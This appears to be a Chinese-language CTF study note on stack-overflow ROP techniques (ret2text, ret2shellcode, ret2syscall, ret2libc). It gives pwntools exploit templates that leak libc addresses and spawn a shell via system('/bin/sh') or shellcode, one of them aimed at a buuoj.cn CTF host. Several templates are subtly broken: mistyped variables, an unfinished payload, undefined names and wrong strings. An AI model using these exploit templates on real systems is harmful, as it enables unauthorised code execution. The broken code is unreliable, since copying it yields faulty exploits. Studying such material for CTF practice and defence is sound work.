基本 ROP

ROP (Return Oriented Programming),主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

ROP 攻击一般需要满足如下条件

1.程序存在溢出,并且可以控制返回地址。

2.可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

ret2text

原理:控制程序执行程序本身已有的的代码

需求:程序存在可以直接控制shell的代码,比如 system(“/bin/sh”) 或者 system(“sh”)

模板如下

from pwn import *

io = process('./文件名')
shell.addr = //shell.addr即为system('/bin/sh') 或者 system('sh')的地址

payload = flat([cyclic(offset),shell.addr])
io.sendline(payload)

io.interactive()

ret2shellcode

原理:控制程序执行 shellcode 代码,shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要 是获取目标系统的 shell。

需求:

1.需要对应的 binary 在运行时,需要找到一个可读可写可执行的区域写入并执行shellcode,这个 地方通常在bss段,可以使用gdb动态调试,使用vammp查看执行权限及所处位置

2.checksec时 NX disabled

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

shellcode格式:

模板如下

from pwn import *

io = process('./文件名')

shellcode = asm(shellcraft.sh())
#shellcode = asm(shellcraft.amd64.sh())

bss_addr =

payload = flat([shellcode,cyclic(offset),bss_addr])
#payload = shellcode.ljust(112, 'A') + p32(buf2_addr)
io.sendline(payload)

io.interactive()

ret2syscall

原理:控制程序执行系统调用,获取 shell

需求:<32位程序>

1.系统调用号,即 eax 应该为 0xb

2.第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

3.第二个参数,即 ecx 应该为 0

4.第三个参数,即 edx 应该为 0

5./bin/sh或者sh字符串的地址

6.函数调用号int 0x80 的地址

构建方法:

<1>寄存器地址

  • ROPgadget --binary 文件名 --only ‘pop|ret’ | grep ‘寄存器名’

<2>/bin/sh字符串地址

  1. ida中使用shift+f12,再用crtl+f查找字符串
    ​2. ROPgadget --binary 文件名 --string ‘/bin/sh’
    ​3. 加载本地elf文件之后 binsh =next(elf.search(b’/binsh’))

<3>int0x80 函数号地址

  • ROPgadget --binary 文件名 --only ‘int’

<4>payload的构建
​* payload = flat([cyclic(offset),寄存器pop|ret地址,寄存器内容,连续3个寄存器pop|ret地址,寄存器1内容,寄存器2内容,寄存器3内容,函数号地址])

from pwn import *

sh = process('./文件名')

pop_eax_ret =
pop_edx_ecx_ebx_ret =
int_0x80_addr =
binsh_addr =
offset =

payload = flat([cyclic(offset), pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,binsh_addr, int_0x80_addr])
io.sendline(payload)

io.interactive()

ret2libc

原理:控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

构建方法:
1.是否有system函数
if(1)
直接用ida查看sys函数的位置,记下即可,当然动态调试gdb也是可以的

if(0)
\1. 想办法泄露system的地址,一般选择在溢出点之前使用过的puts,read,write等函数

puts函数	  
64 payload =flat([cyclic(offset),rdi_addr,puts_got,puts_plt,main])
32 payload = flat([cyclic(offset),puts_plt,main,puts_got])

write函数
64 payload = flat([cyclic(offset),
32 payload=flat([cyclic(offset),write_pltmain,write_fd,write_got,write_length])

printf函数
64 payload=flat([cyclic(offset),rdi_addr,format_str,rsi_r15_addr,printf_got,0,printf_plt,main]) //format_str 为指定printf函数输出的格式
32 payload = flat([cyclic(offset),printf_plt,main,format_str,printf_got])

接受泄露地址
64 u64(io.recvline()[:-1].ljust(8, '\0'))
32 u32(io.recv()[0:4])

2.根据泄露的地址确定基地址,由libc的加载的版本号确定

libc = ELF (“./libc版本号”) //确定libc的版本

libc_base = leak_addr - libc.sym[‘leak_func’] //确定libc的基地址
sys_addr = libc_base + libc.sym[‘system’] //通过偏移量找到system函数
bin_sh_addr = libc_base + libc.search(‘/bin/sh’).next() //在libc中找到/bin/sh字符串

3.是否有/bin/sh字符串或者sh字符串
if(1)
直接用ida查看/bin/sh或者sh字符串的地址,当然动态调试gdb也是可以的
if(0)
想办法构造一个字符串
\1. binsh = libc.search(‘/bin/sh’).next() //这种方法是通过加载libc
\2. binsh =next(elf.search(b’/binsh’)) //这种方法是通过加载elf文件

64位 exp模板

from pwn import* 

contcontent = 0
context(os='linux', arch='amd64', log_level='debug')

io = remote('node3.buuoj.cn',)
#io = process('./')
elf = ELF('./')
libc = ELF('./libc-.so')

main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi_addr =
offset =

payload1 = flat([cyclic(offset),rdi_addr,puts_got,puts_plt,main])
io.sendline(payload1)

puts_leak = u64(io.recvline()[:-1].ljust(8, '\0'))

libc_base = puts_leak - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()

payload2 = flat([cyclic(offset),rdi_addr,bin_sh_addr,sys_addr])
io.sendline(payload2)

io.interactive()

32位 exp模板

from pwn import* 

content = 0
context(os='linux',log_level='debug')

io = remote('node3.buuoj.cn',)
#io = process('./')
elf = ELF(''./)
libc = ELF('./libc-.so')

main = elf.sym['main']
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
format_str =
offset =

payload1 = flat([cyclic(offset),printf_plt,vuln,format_str,printf_got])
io.sendline(payload1)

printf_leak = u32(io.recv(4))
libc_base = printf_leak - libc.sym['printf']
sys_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()


payload2 = flat([cyclic(offset),sys_addr,0xdeadbeef,bin_sh_addr])
io.sendline(payload2)

io.interactive()

EOF